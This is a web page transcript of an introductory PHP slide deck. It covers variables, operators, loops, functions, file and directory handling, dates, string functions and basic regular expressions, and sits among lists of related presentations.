David Skok
 
Understand A/B Testing in 9 use cases & 7 mistakes
Understand A/B Testing in 9 use cases & 7 mistakesUnderstand A/B Testing in 9 use cases & 7 mistakes
Understand A/B Testing in 9 use cases & 7 mistakes
TheFamily
 
LinkedIn Ads Platform Master Class
LinkedIn Ads Platform Master ClassLinkedIn Ads Platform Master Class
LinkedIn Ads Platform Master Class
LinkedIn
 
How to: Viral Marketing + Brand Storytelling
How to: Viral Marketing + Brand Storytelling How to: Viral Marketing + Brand Storytelling
How to: Viral Marketing + Brand Storytelling
Elle Shelley
 
Ad

Similar to PHP Powerpoint -- Teach PHP with this (20)

What Is Php
What Is PhpWhat Is Php
What Is Php
AVC
 
PHP Tutorials
PHP TutorialsPHP Tutorials
PHP Tutorials
Yuriy Krapivko
 
PHP Tutorials
PHP TutorialsPHP Tutorials
PHP Tutorials
Yuriy Krapivko
 
Introduction To Php For Wit2009
Introduction To Php For Wit2009Introduction To Php For Wit2009
Introduction To Php For Wit2009
cwarren
 
Basic PHP
Basic PHPBasic PHP
Basic PHP
Todd Barber
 
Php Basic
Php BasicPhp Basic
Php Basic
Md. Sirajus Salayhin
 
Php mysql ppt
Php mysql pptPhp mysql ppt
Php mysql ppt
Karmatechnologies Pvt. Ltd.
 
course slides -- powerpoint
course slides -- powerpointcourse slides -- powerpoint
course slides -- powerpoint
webhostingguy
 
Web development
Web developmentWeb development
Web development
Seerat Bakhtawar
 
Php Chapter 1 Training
Php Chapter 1 TrainingPhp Chapter 1 Training
Php Chapter 1 Training
Chris Chubb
 
P H P Part I, By Kian
P H P  Part  I,  By  KianP H P  Part  I,  By  Kian
P H P Part I, By Kian
phelios
 
Php Learning show
Php Learning showPhp Learning show
Php Learning show
Gnugroup India
 
php programming.pptx
php programming.pptxphp programming.pptx
php programming.pptx
rani marri
 
PHP - Introduction to PHP - Mazenet Solution
PHP - Introduction to PHP - Mazenet SolutionPHP - Introduction to PHP - Mazenet Solution
PHP - Introduction to PHP - Mazenet Solution
Mazenetsolution
 
Introduction in php part 2
Introduction in php part 2Introduction in php part 2
Introduction in php part 2
Bozhidar Boshnakov
 
Class 2 - Introduction to PHP
Class 2 - Introduction to PHPClass 2 - Introduction to PHP
Class 2 - Introduction to PHP
Ahmed Swilam
 
Php
PhpPhp
Php
WAHEEDA ROOHILLAH
 
Babitha5.php
Babitha5.phpBabitha5.php
Babitha5.php
banubabitha
 
Babitha5.php
Babitha5.phpBabitha5.php
Babitha5.php
banubabitha
 
Babitha5.php
Babitha5.phpBabitha5.php
Babitha5.php
banubabitha
 
Ad

Recently uploaded (20)

Introduction to Typescript - GDG On Campus EUE
Introduction to Typescript - GDG On Campus EUEIntroduction to Typescript - GDG On Campus EUE
Introduction to Typescript - GDG On Campus EUE
Google Developer Group On Campus European Universities in Egypt
 
Precisely Demo Showcase: Powering ServiceNow Discovery with Precisely Ironstr...
Precisely Demo Showcase: Powering ServiceNow Discovery with Precisely Ironstr...Precisely Demo Showcase: Powering ServiceNow Discovery with Precisely Ironstr...
Precisely Demo Showcase: Powering ServiceNow Discovery with Precisely Ironstr...
Precisely
 
Edge-banding-machines-edgeteq-s-200-en-.pdf
Edge-banding-machines-edgeteq-s-200-en-.pdfEdge-banding-machines-edgeteq-s-200-en-.pdf
Edge-banding-machines-edgeteq-s-200-en-.pdf
AmirStern2
 
Oracle Cloud and AI Specialization Program
Oracle Cloud and AI Specialization ProgramOracle Cloud and AI Specialization Program
Oracle Cloud and AI Specialization Program
VICTOR MAESTRE RAMIREZ
 
Crypto Super 500 - 14th Report - June2025.pdf
Crypto Super 500 - 14th Report - June2025.pdfCrypto Super 500 - 14th Report - June2025.pdf
Crypto Super 500 - 14th Report - June2025.pdf
Stephen Perrenod
 
How Advanced Environmental Detection Is Revolutionizing Oil & Gas Safety.pdf
How Advanced Environmental Detection Is Revolutionizing Oil & Gas Safety.pdfHow Advanced Environmental Detection Is Revolutionizing Oil & Gas Safety.pdf
How Advanced Environmental Detection Is Revolutionizing Oil & Gas Safety.pdf
Rejig Digital
 
Your startup on AWS - How to architect and maintain a Lean and Mean account J...
Your startup on AWS - How to architect and maintain a Lean and Mean account J...Your startup on AWS - How to architect and maintain a Lean and Mean account J...
Your startup on AWS - How to architect and maintain a Lean and Mean account J...
angelo60207
 
Mastering AI Workflows with FME - Peak of Data & AI 2025
Mastering AI Workflows with FME - Peak of Data & AI 2025Mastering AI Workflows with FME - Peak of Data & AI 2025
Mastering AI Workflows with FME - Peak of Data & AI 2025
Safe Software
 
Cisco ISE Performance, Scalability and Best Practices.pdf
Cisco ISE Performance, Scalability and Best Practices.pdfCisco ISE Performance, Scalability and Best Practices.pdf
Cisco ISE Performance, Scalability and Best Practices.pdf
superdpz
 
If You Use Databricks, You Definitely Need FME
If You Use Databricks, You Definitely Need FMEIf You Use Databricks, You Definitely Need FME
If You Use Databricks, You Definitely Need FME
Safe Software
 
Trends Artificial Intelligence - Mary Meeker
Trends Artificial Intelligence - Mary MeekerTrends Artificial Intelligence - Mary Meeker
Trends Artificial Intelligence - Mary Meeker
Clive Dickens
 
TimeSeries Machine Learning - PyData London 2025
TimeSeries Machine Learning - PyData London 2025TimeSeries Machine Learning - PyData London 2025
TimeSeries Machine Learning - PyData London 2025
Suyash Joshi
 
Can We Use Rust to Develop Extensions for PostgreSQL? (POSETTE: An Event for ...
Can We Use Rust to Develop Extensions for PostgreSQL? (POSETTE: An Event for ...Can We Use Rust to Develop Extensions for PostgreSQL? (POSETTE: An Event for ...
Can We Use Rust to Develop Extensions for PostgreSQL? (POSETTE: An Event for ...
NTT DATA Technology & Innovation
 
No-Code Workflows for CAD & 3D Data: Scaling AI-Driven Infrastructure
No-Code Workflows for CAD & 3D Data: Scaling AI-Driven InfrastructureNo-Code Workflows for CAD & 3D Data: Scaling AI-Driven Infrastructure
No-Code Workflows for CAD & 3D Data: Scaling AI-Driven Infrastructure
Safe Software
 
PyData - Graph Theory for Multi-Agent Integration
PyData - Graph Theory for Multi-Agent IntegrationPyData - Graph Theory for Multi-Agent Integration
PyData - Graph Theory for Multi-Agent Integration
barqawicloud
 
Enabling BIM / GIS integrations with Other Systems with FME
Enabling BIM / GIS integrations with Other Systems with FMEEnabling BIM / GIS integrations with Other Systems with FME
Enabling BIM / GIS integrations with Other Systems with FME
Safe Software
 
Your startup on AWS - How to architect and maintain a Lean and Mean account
Your startup on AWS - How to architect and maintain a Lean and Mean accountYour startup on AWS - How to architect and maintain a Lean and Mean account
Your startup on AWS - How to architect and maintain a Lean and Mean account
angelo60207
 
The State of Web3 Industry- Industry Report
The State of Web3 Industry- Industry ReportThe State of Web3 Industry- Industry Report
The State of Web3 Industry- Industry Report
Liveplex
 
Scaling GenAI Inference From Prototype to Production: Real-World Lessons in S...
Scaling GenAI Inference From Prototype to Production: Real-World Lessons in S...Scaling GenAI Inference From Prototype to Production: Real-World Lessons in S...
Scaling GenAI Inference From Prototype to Production: Real-World Lessons in S...
Anish Kumar
 
Murdledescargadarkweb.pdfvolumen1 100 elementary
Murdledescargadarkweb.pdfvolumen1 100 elementaryMurdledescargadarkweb.pdfvolumen1 100 elementary
Murdledescargadarkweb.pdfvolumen1 100 elementary
JorgeSemperteguiMont
 
Precisely Demo Showcase: Powering ServiceNow Discovery with Precisely Ironstr...
Precisely Demo Showcase: Powering ServiceNow Discovery with Precisely Ironstr...Precisely Demo Showcase: Powering ServiceNow Discovery with Precisely Ironstr...
Precisely Demo Showcase: Powering ServiceNow Discovery with Precisely Ironstr...
Precisely
 
Edge-banding-machines-edgeteq-s-200-en-.pdf
Edge-banding-machines-edgeteq-s-200-en-.pdfEdge-banding-machines-edgeteq-s-200-en-.pdf
Edge-banding-machines-edgeteq-s-200-en-.pdf
AmirStern2
 
Oracle Cloud and AI Specialization Program
Oracle Cloud and AI Specialization ProgramOracle Cloud and AI Specialization Program
Oracle Cloud and AI Specialization Program
VICTOR MAESTRE RAMIREZ
 
Crypto Super 500 - 14th Report - June2025.pdf
Crypto Super 500 - 14th Report - June2025.pdfCrypto Super 500 - 14th Report - June2025.pdf
Crypto Super 500 - 14th Report - June2025.pdf
Stephen Perrenod
 
How Advanced Environmental Detection Is Revolutionizing Oil & Gas Safety.pdf
How Advanced Environmental Detection Is Revolutionizing Oil & Gas Safety.pdfHow Advanced Environmental Detection Is Revolutionizing Oil & Gas Safety.pdf
How Advanced Environmental Detection Is Revolutionizing Oil & Gas Safety.pdf
Rejig Digital
 
Your startup on AWS - How to architect and maintain a Lean and Mean account J...
Your startup on AWS - How to architect and maintain a Lean and Mean account J...Your startup on AWS - How to architect and maintain a Lean and Mean account J...
Your startup on AWS - How to architect and maintain a Lean and Mean account J...
angelo60207
 
Mastering AI Workflows with FME - Peak of Data & AI 2025
Mastering AI Workflows with FME - Peak of Data & AI 2025Mastering AI Workflows with FME - Peak of Data & AI 2025
Mastering AI Workflows with FME - Peak of Data & AI 2025
Safe Software
 
Cisco ISE Performance, Scalability and Best Practices.pdf
Cisco ISE Performance, Scalability and Best Practices.pdfCisco ISE Performance, Scalability and Best Practices.pdf
Cisco ISE Performance, Scalability and Best Practices.pdf
superdpz
 
If You Use Databricks, You Definitely Need FME
If You Use Databricks, You Definitely Need FMEIf You Use Databricks, You Definitely Need FME
If You Use Databricks, You Definitely Need FME
Safe Software
 
Trends Artificial Intelligence - Mary Meeker
Trends Artificial Intelligence - Mary MeekerTrends Artificial Intelligence - Mary Meeker
Trends Artificial Intelligence - Mary Meeker
Clive Dickens
 
TimeSeries Machine Learning - PyData London 2025
TimeSeries Machine Learning - PyData London 2025TimeSeries Machine Learning - PyData London 2025
TimeSeries Machine Learning - PyData London 2025
Suyash Joshi
 
Can We Use Rust to Develop Extensions for PostgreSQL? (POSETTE: An Event for ...
Can We Use Rust to Develop Extensions for PostgreSQL? (POSETTE: An Event for ...Can We Use Rust to Develop Extensions for PostgreSQL? (POSETTE: An Event for ...
Can We Use Rust to Develop Extensions for PostgreSQL? (POSETTE: An Event for ...
NTT DATA Technology & Innovation
 
No-Code Workflows for CAD & 3D Data: Scaling AI-Driven Infrastructure
No-Code Workflows for CAD & 3D Data: Scaling AI-Driven InfrastructureNo-Code Workflows for CAD & 3D Data: Scaling AI-Driven Infrastructure
No-Code Workflows for CAD & 3D Data: Scaling AI-Driven Infrastructure
Safe Software
 
PyData - Graph Theory for Multi-Agent Integration
PyData - Graph Theory for Multi-Agent IntegrationPyData - Graph Theory for Multi-Agent Integration
PyData - Graph Theory for Multi-Agent Integration
barqawicloud
 
Enabling BIM / GIS integrations with Other Systems with FME
Enabling BIM / GIS integrations with Other Systems with FMEEnabling BIM / GIS integrations with Other Systems with FME
Enabling BIM / GIS integrations with Other Systems with FME
Safe Software
 
Your startup on AWS - How to architect and maintain a Lean and Mean account
Your startup on AWS - How to architect and maintain a Lean and Mean accountYour startup on AWS - How to architect and maintain a Lean and Mean account
Your startup on AWS - How to architect and maintain a Lean and Mean account
angelo60207
 
The State of Web3 Industry- Industry Report
The State of Web3 Industry- Industry ReportThe State of Web3 Industry- Industry Report
The State of Web3 Industry- Industry Report
Liveplex
 
Scaling GenAI Inference From Prototype to Production: Real-World Lessons in S...
Scaling GenAI Inference From Prototype to Production: Real-World Lessons in S...Scaling GenAI Inference From Prototype to Production: Real-World Lessons in S...
Scaling GenAI Inference From Prototype to Production: Real-World Lessons in S...
Anish Kumar
 
Murdledescargadarkweb.pdfvolumen1 100 elementary
Murdledescargadarkweb.pdfvolumen1 100 elementaryMurdledescargadarkweb.pdfvolumen1 100 elementary
Murdledescargadarkweb.pdfvolumen1 100 elementary
JorgeSemperteguiMont
 

PHP Powerpoint -- Teach PHP with this

  • 2. What is it?PHP is a scripting language commonly used on web servers.Stands for “PHP: Hypertext Preprocessor”Open sourceEmbedded codeComparable with ASPMultiple operating systems/web servers
  • 4. What can it do?Dynamic generation of web-page contentDatabase interactionProcessing of user supplied dataEmailFile handlingText processingNetwork interactionAnd more…
  • 5. FundamentalsPHP is embedded within xhtml pages within the tags: <?php … ?>The short version of these tags can also be used: <? … ?>Each line of PHP is terminated, like MySQL, with a semi-colon.
  • 6. Hello World!<html> <head> <title>PHP Test</title> </head> <body> <?phpecho ‘<p>Hello World!</p>’;?></body> </html>
  • 8. Literals..All strings must be enclosed in single of double quotes: ‘Hello’ or “Hello”.Numbers are not in enclosed in quotes: 1 or 45 or 34.564Booleans (true/flase) can be written directly as true or false.
  • 9. Comments // This is a comment # This is also a comment /* This is a commentthat is spread overmultiple lines */Do not nest multi-line comments// recommended over #
  • 10. Comments<?php// this is a commentecho ‘Hello World!’;/* another multi-line comment */?>
  • 11. Displaying DataThere are two language constructs available to display data: print() and echo().They can be used with or without brackets.Note that the data ‘displayed’ by PHP is actually parsed by your browser as HTML. View source to see actual output.
  • 12. Displaying data<?phpecho ‘Hello World!<br />’;echo(‘Hello World!<br />’);print ‘Hello World!<br />’;print(‘Hello World!<br />’);?>
  • 13. Escaping CharactersSome characters are considered ‘special’Escape these with a backslash \Special characters will be flagged when they arise, for example a double or single quote belong in this group…
  • 14. Escaping Characters<?php// Claire O’Reilly said “Hello”.echo ‘Claire O\’Reilly ’;echo “said \”Hello\”.”; ?>
  • 15. Variables: What are they?When we work in PHP, we often need a labelled place to store a value (be it a string, number, whatever) so we can use it in multiple places in our script.These labelled ‘places’ are called VARIABLES
  • 16. Variables: Naming$ followed by variable nameCase sensitive$variable differs from $VariableStick to lower-case to be sure!Name must started with a letter or an underscoreFollowed by any number of letters, numbers and underscores
  • 17. Variables: example<?php$name = ‘Phil’;$age = 23;echo $name;echo ’ is ‘;echo $age;// Phil is 23?>
  • 18. ConstantsConstants (unchangeable variables) can also be defined.Each constant is given a name (note no preceding dollar is applied here).By convention, constant names are usually in UPPERCASE.
  • 20. “ or ‘ ?There is a difference between strings written in single and double quotes.In a double-quoted string any variable names are expanded to their values.In a single-quoted string, no variable expansion takes place.
  • 21. “ or ‘ ?<?php$name = ‘Phil’;$age = 23;echo “$name is $age”;// Phil is 23?>
  • 22. “ or ‘ ?<?php$name = ‘Phil’;$age = 23;echo ‘$name is $age’;// $name is $age?>
  • 23. ReviewWe’ve started PHP..Escaping XHTMLCommentsBasic SyntaxVariablesConstants
  • 26. ReminderPHP is embedded within xhtml pages within the tags: <?php … ?>The short version of these tags can also be used: <? … ?>Each line of PHP is terminated, like MySQL, with a semi-colon.
  • 27. ReminderVariables are automatically initialised when you start to use them.e.g. <?php $name = ‘Rob’;echo $name;?>
  • 28. ExpressionsUsing variables within expressions to do something is what PHP is all about. <?php $name = ‘Rob’;echo $name;?>ExpressionOperator
  • 29. Some Types of OperatorIncrementing/decrementing
  • 32. String OperatorsUse a dot to concatenate two strings:e.g. $firstname = ‘Rob’; $surname = ‘Tuley’;// displays ‘Rob Tuley’echo $firstname.’ ‘.$surname;
  • 35. Combining OperatorsNote that you can combine operators, for example use =, + and / in one expression: $a = 4; $b = 2; $c = $a + $b + ($a/$b);// $c has value 4+2+(4/2) = 8Brackets help group operators.
  • 37. ComparisonsComparison expressions return a value of TRUE (or ‘1’) or FALSE (or ‘0’). e.g. $a = 10; $b = 13;// result is true (‘1’) echo $a < $b;
  • 40. Finally, a tricky one!A single ? is the ternary operator.(expr) ? if_expr_true : if_expr_false;A test expression evaluates to TRUE or FALSE. TRUE gives first result (before colon)FALSE gives second result (after colon)
  • 41. Ternary Operator example<?php$a = 10;$b = 13;echo $a<$b ? ‘a smaller’:‘b smaller’;// string ‘a smaller’ is echoed // to the browser..?>
  • 42. Groups of variablesSo far, we have stored ONE piece of data in each variable. It is also possible to store multiple pieces of data in ONE variable by using an array.Each piece of data in an array has a key..
  • 43. An arrayNormal Variable, no key:$name = ‘Rob’;Array Variable, multiple pieces with ‘keys’:$name[0] = ‘Rob’; $name[1] = ‘Si’; $name[2] = ‘Sarah’; …The ‘key’
  • 44. Array keysArray keys can be strings as well as numbers.. $surname[‘rob’] = ‘Tuley’; $surname[‘si’] = ‘Lewis’;Notice the way that the key is specified, in square brackets following the variable name.
  • 45. Working with arrays..Create Array (automatic keys):$letters = array('a','b','c','d');The array keys are automatically assigned by PHP as 0, 1, 2, 3i.e. $letters[1] has value‘b’Create Array (explicit keys): $letters = array(10=>’a’,13=>’b’); i.e. $letters[13] has value‘b’
  • 46. Working with arrays…Create array (component by component): $letters[10] = ‘a’; $letters[13] = ‘b’;Access array component:echo $letters[10]; // displays a echo $letters[10].$letters[13]; // displays ab
  • 47. Working with arrays…Note that trying to echo an entire array will not display the data. To print an entire array to screen (for debug, for example) use the function print_r instead. echo $letters; print_r($letters);
  • 48. So..We know we can:Store things in named variables.Use expressions to operate on the contents of these variables.Can compare variables.. How do we actually include logic in the code such as ‘if this is bigger than that, do this’?
  • 49. Control Structuresif, elseif, elsewhile, do … whilefor, foreachswitchbreak, continue, returnrequire, include, require_once, include_once
  • 50. If …To do something depending on a comparison, use an if statement.if (comparison) {expressions; // do if TRUE }NB: Notice the curly brackets – these are important!
  • 51. If example<?php $a = 10; $b = 13;if ($a<$b) {echo‘a is smaller than b’; }?>
  • 52. Extending IF statementsIt is possible to add extra optional clauses to if statements.. if (comparison) {expressions; // do if TRUE } else {expressions; // do otherwise }
  • 53. Extending If statements if (comparison1) {expressions; } elseif (comparison2) {expressions; } else { expressions; }
  • 54. An example..$a = 10;$b = 13;if ($a<$b) {echo‘a is smaller than b’;} elseif ($a==$b) {echo‘a is equal to b’;} else {echo‘a is bigger than b’;}
  • 55. While loopsMight want to do something repeatedly while a comparison is true..while (comparison) {expressions; }
  • 56. ExampleLets count to 10! Displays 1,2,3,4,5,..,10:$i = 1;while ($i <= 10) {   echo $i++; }
  • 57. Do .. WhileAn alternative... $i = 1;do {   echo $i++; } while ($i <= 10);
  • 58. For loopSometimes we want to loop around the same bit of code a number of times.. Use a for loop.for (expr1; expr2; expr3) { statements; }expr1 evaluated/executed initiallyexpr2 evaluated at beginning of each iteration (Continues if TRUE)expr3 evaluated/executed at end of each iteration
  • 59. For loop exampleTo count from 1 to 10:for ($i=1; $i<=10; $i++) {echo $i; }Continue if trueinitialiseExecute at end of loop
  • 60. Foreach loopA foreach loop is designed for arrays. Often you want to loop through each item in an array in turn.. $letters = array(‘a’,’b’,’c’); foreach ($letters as $value) {   echo $value; } // outputs a,b,c in turn
  • 61. Foreach.. With keysSometimes we want to use the array ‘key’ value too:$letters = array(‘a’,’b’,’c’); foreach ($letters as $key => $value) {   echo“array $key to $value”; }
  • 62. Switch statementswitch (expr) {case (result1):statements;break;case (result2):statements;break;default:statements;}expr is evaluated
  • 63. Case corresponding to result is executed
  • 65. break
  • 66. Ensures next case isn’t executedSwitch Exampleswitch ($name) {case‘Rob’:echo‘Your name is Rob’;break;case‘Fred’:echo‘You are called Fred’;break;default: echo ‘Not sure what your name is’;}
  • 67. break, continue, returnbreakEnds execution of current for, foreach, do … while, while or switch structureOption: Number of nested structures to break out ofcontinueSkip rest of current loopOption: Number of nested loops to skipreturnEnds execution of current function/statement/script
  • 68. Indentation..Code readability IS important – notice how all the code inside a loop/control structure is indented.Once you start writing nested control loops, indentation is the only way to keep track of your code!
  • 69. require, includerequire('filename.ext')Includes and evaluates the specified fileError is fatal (will halt processing)include('filename.ext')Includes and evaluates the specified fileError is a warning (processing continues)require_once/ include_onceIf already included won’t be included again
  • 70. Code Re-useOften you will want to write a piece of code and re-use it several times (maybe within the same script, or maybe between different scripts).Functions are a very nice way to encapsulate such pieces of code..
  • 71. Eh..? What?You have already used functions..echo(‘text to display’);Function NAMEFunction ARGUMENT
  • 72. What is a function?A function takes some arguments (inputs) and does something with them (echo, for example, outputs the text input to the user).As well as the inbuilt PHP functions, we can define our own functions..
  • 73. Definition vs. CallingThere are two distinct aspects to functions:Definition: Before using a function, that function must be defined – i.e. what inputs does it need, and what does it do with them?Calling: When you call a function, you actually execute the code in the function.
  • 74. Function DefinitionA function accepts any number of input arguments, and returns a SINGLE value.functionmyfunction($arg1,$arg2,…,$argN){statements;return $return_value;}
  • 75. ExampleFunction to join first and last names together with a space..function make_name($first,$last) {$fullname = $first.’ ‘.$last;return $fullname;}
  • 76. Calling functions..Can be done anywhere..myfunction($arg1,$arg2,…,$argN)or$answer = myfunction($arg1,$arg2,…,$argN)e.g.echo make_name(‘Rob’,’Tuley’);// echoes ‘Rob Tuley’
  • 77. Functions: Return ValuesUse return()Causes execution of function to ceaseControl returns to calling scriptTo return multiple valuesReturn an arrayIf no value returnedNULL
  • 78. ‘Scope’A function executes within its own little protected bubble, or local scope.What does this mean? Its means that the function can’t ‘see’ any of the variables you have defined apart from those passed in as arguments..Each new function call starts a clean slate in terms of internal function variables.
  • 79. In other words..Variables within a functionAre local to that functionDisappear when function execution endsVariables outside a functionAre not available within the functionUnless set as globalRemembering variablesNot stored between function callsUnless set as static
  • 80. Global variables..To access a variable outside the ‘local’ scope of a function, declare it as a global:function add5toa(){ global $a; $a = $a + 5;} $a = 9;add5toa();echo $a; // 14
  • 81. Static VariablesLocal function variable values are not saved between function calls unless they are declared as static:function counter(){ static $num = 0;return ++$num;} echo counter(); // 1echo counter(); // 2echo counter(); // 3
  • 82. Default ArgumentsCan specify a default value in the function definition which is used only if no value is passed to the function when called..Defaults must be specified last in the listfunction myfunction($arg1,$arg2=‘blah’)…function myfunction($arg1=‘blah’,$arg2)…
  • 83. Passing ReferencesPass a reference to a variableNot the actual variableWhy?Enables a function to modify its argumentsHow?Use an ampersand in front of the variable&$variable
  • 86. Files and PHPFile HandlingData StorageThough slower than a databaseManipulating uploaded filesFrom formsCreating Files for download
  • 87. Open/Close a FileA file is opened with fopen() as a “stream”, and PHP returns a ‘handle’ to the file that can be used to reference the open file in other functions.Each file is opened in a particular mode.A file is closed with fclose() or when your script ends.
  • 89. File Open/Close Example<?php// open file to read$toread = fopen(‘some/file.ext’,’r’);// open (possibly new) file to write$towrite = fopen(‘some/file.ext’,’w’);// close both filesfclose($toread);fclose($towrite);?>
  • 90. Now what..?If you open a file to read, you can use more in-built PHP functions to read data..If you open the file to write, you can use more in-built PHP functions to write..
  • 91. Reading DataThere are two main functions to read data:fgets($handle,$bytes)Reads up to $bytes of data, stops at newline or end of file (EOF)fread($handle,$bytes)Reads up to $bytes of data, stops at EOF.
  • 92. Reading DataWe need to be aware of the End Of File (EOF) point..feof($handle)Whether the file has reached the EOF point. Returns true if have reached EOF.
  • 93. Data Reading Example $handle = fopen('people.txt', 'r'); while (!feof($handle)) { echo fgets($handle, 1024); echo '<br />'; }fclose($handle);
  • 94. Data Reading Example $handle = fopen('people.txt', 'r'); while (!feof($handle)) { echo fgets($handle, 1024); echo '<br />'; }fclose($handle);$handle = fopen('people.txt', 'r');Open the file and assign the resource to $handle
  • 95. Data Reading Example $handle = fopen('people.txt', 'r'); while (!feof($handle)) { echo fgets($handle, 1024); echo '<br />'; }fclose($handle);while (!feof($handle)) { echo fgets($handle, 1024); echo '<br />'; }While NOT at the end of the file, pointed to by $handle,get and echo the data line by line
  • 96. Data Reading Example $handle = fopen('people.txt', 'r'); while (!feof($handle)) { echo fgets($handle, 1024); echo '<br />'; }fclose($handle);Close the filefclose($handle);
  • 97. File Open shortcuts..There are two ‘shortcut’ functions that don’t require a file to be opened:$lines = file($filename)Reads entire file into an array with each line a separate entry in the array.$str = file_get_contents($filename)Reads entire file into a single string.
  • 98. Writing DataTo write data to a file use:fwrite($handle,$data)Write $data to the file.
  • 99. Data Writing Example $handle = fopen('people.txt', 'a');fwrite($handle, “\nFred:Male”);fclose($handle);
  • 100. Data Writing Example $handle = fopen('people.txt', 'a');fwrite($handle, '\nFred:Male');fclose($handle);Open file to append data (mode 'a') $handle = fopen('people.txt', 'a');fwrite($handle, “\nFred:Male”);Write new data (with line break after previous data)
  • 101. Other File OperationsDelete fileunlink('filename');Rename (file or directory)rename('old name', 'new name');Copy filecopy('source', 'destination');And many, many more!www.php.net/manual/en/ref.filesystem.php
  • 102. Dealing With DirectoriesOpen a directory$handle = opendir('dirname');$handle 'points' to the directoryRead contents of directoryreaddir($handle)Returns name of next file in directoryFiles are sorted as on filesystemClose a directoryclosedir($handle)Closes directory 'stream'
  • 103. Directory Example $handle = opendir('./');while(false !== ($file=readdir($handle))) {echo"$file<br />"; }closedir($handle);
  • 104. Directory Example $handle = opendir('./');while(false !== ($file=readdir($handle))) {echo"$file<br />"; }closedir($handle);$handle = opendir('./');Open current directory
  • 105. Directory Example $handle = opendir('./');while(false !== ($file=readdir($handle))) {echo"$file<br />"; }closedir($handle);while(false !== ($file=readdir($handle))) {echo"$file<br />"; }Whilst readdir() returns a name, loop through directory contents, echoing results
  • 106. Directory Example $handle = opendir('./');while(false !== ($file=readdir($handle))) {echo"$file<br />"; }closedir($handle);closedir($handle);Close the directory stream
  • 107. Other Directory OperationsGet current directorygetcwd()Change Directorychdir('dirname');Create directorymkdir('dirname');Delete directory (MUST be empty)rmdir('dirname');And more!www.php.net/manual/en/ref.dir.php
  • 108. ReviewCan open and close files.Can read a file line by line or all at one go.Can write to files.Can open and cycle through the files in a directory.
  • 110. Unix Epoch..?The easiest way to handle dates in PHP is using UNIX timestamps.A UNIX timestamp is the number of seconds since the UNIX Epoch.The Epoch is 1st Jan 1970 00:00 GMT.
  • 111. Get current timeUse the time() function to get current or relative time.<?php$now = time();$nextWeek = time() + (7 * 24 * 60 * 60);    // 7 days; 24 hours; 60 mins; 60secs?>
  • 112. Display a time..To display a time use the date() function along with a format string.<?php$nextWeek = time() + (7*24*60*60);echo‘Next week: ‘;echo date(‘d-m-Y’,$nextWeek).’<br />’;?>Format strings: http://php.net/manual/en/function.date.php
  • 113. String to timestampTo convert a string to date, use strtotime()<?phpecho strtotime("now");echo strtotime("10 September 2000");echo strtotime("+1 day");echo strtotime("+1 week");echo strtotime("next Thursday");echo strtotime("last Monday");?>
  • 114. String to timestampNote that strtotime() assume a US date format on string such as mm/dd/yyyy, so some modifications may be required.
  • 115. What about dates before 1970?Negative timestamps are not consistently supported in PHP. Therefore we cannot use timestamps when using dates that might be before 1970.
  • 116. The full information..http://php.net/manual/en/ref.datetime.php We have looked at a sub-selection of this information. If you want to do something with dates.. This is the place to start looking.
  • 117. ReviewKnow what an integer UNIX date is.Can manipulate dates in PHP: creating, displaying, parsing from string data.
  • 119. What..?Often in PHP we have to get data from files, or maybe through forms from a user.Before acting on the data, we:Need to put it in the format we require.Check that the data is actually valid.
  • 120. What..?To achieve this, we need to learn about PHP functions that check values, and manipulate data.Input PHP functions.Regular Expressions (Regex).
  • 121. PHP FunctionsThere are a lot of useful PHP functions to manipulate data. We’re not going to look at them all – we’re not even going to look at most of them…http://php.net/manual/en/ref.strings.phphttp://php.net/manual/en/ref.ctype.phphttp://php.net/manual/en/ref.datetime.php
  • 122. Useful Functions: splittingOften we need to split data into multiple pieces based on a particular character.Use explode().// expand user supplied date..$input = ‘1/12/2007’;$bits = explode(‘/’,$input);// array(0=>1,1=>12,2=>2007)
  • 123. Useful functions: trimmingRemoving excess whitespace..Use trim()// a user supplied name..$input = ‘ Rob ’;$name = trim($input);// ‘Rob’
  • 124. Useful functions: string replaceTo replace all occurrences of a string in another string use str_replace()// allow user to user a number of date separators$input = ’01.12-2007’;$clean = str_replace(array(‘.’,’-’), ‘/’,$input);// 01/12/2007
  • 125. Useful functions: cAsETo make a string all uppercase use strtoupper().To make a string all uppercase use strtolower().To make just the first letter upper case use ucfirst().To make the first letter of each word in a string uppercase use ucwords().
  • 126. Useful functions: html sanitiseTo make a string “safe” to output as html use htmlentities()// user entered comment$input = ’The <a> tag & ..’;$clean = htmlentities($input);// ‘The &lt;a&gt; tag &amp; ..’
  • 127. More complicated checks..It is usually possible to use a combination of various built-in PHP functions to achieve what you want.However, sometimes things get more complicated. When this happens, we turn to Regular Expressions.
  • 128. Regular ExpressionsRegular expressions are a concise (but obtuse!) way of pattern matching within a string.There are different flavours of regular expression (PERL & POSIX), but we will just look at the faster and more powerful version (PERL).
  • 129. Some definitions‘[email protected]’'/^[a-z\d\._-]+@([a-z\d-]+\.)+[a-z]{2,6}$/i‘preg_match(), preg_replace()Actual data that we are going to work upon (e.g. an email address string)Definition of the string pattern (the ‘Regular Expression’).PHP functions to do something with data and regular expression.
  • 130. Regular Expressions'/^[a-z\d\._-]+@([a-z\d-]+\.)+[a-z]{2,6}$/i‘Are complicated!They are a definition of a pattern. Usually used to validate or extract data from a string.
  • 131. Regex: Delimiters The regex definition is always bracketed by delimiters, usually a ‘/’: $regex = ’/php/’; Matches: ‘php’, ’I love php’ Doesn’t match: ‘PHP’‘I love ph’
  • 132. Regex: First impressions Note how the regular expression matches anywhere in the string: the whole regular expression has to be matched, but the whole data string doesn’t have to be used.It is a case-sensitive comparison.
  • 133. Regex: Case insensitive Extra switches can be added after the last delimiter. The only switch we will use is the ‘i’ switch to make comparison case insensitive: $regex = ’/php/i’; Matches: ‘php’, ’I love pHp’, ‘PHP’ Doesn’t match: ‘I love ph’
  • 134. Regex: Character groups A regex is matched character-by-character. You can specify multiple options for a character using square brackets: $regex = ’/p[hu]p/’; Matches: ‘php’, ’pup’ Doesn’t match: ‘phup’, ‘pop’, ‘PHP’
  • 135. Regex: Character groups You can also specify a digit or alphabetical range in square brackets: $regex = ’/p[a-z1-3]p/’; Matches: ‘php’, ’pup’, ‘pap’, ‘pop’, ‘p3p’ Doesn’t match: ‘PHP’, ‘p5p’
  • 136. Regex: Predefined ClassesThere are a number of pre-defined classes available:
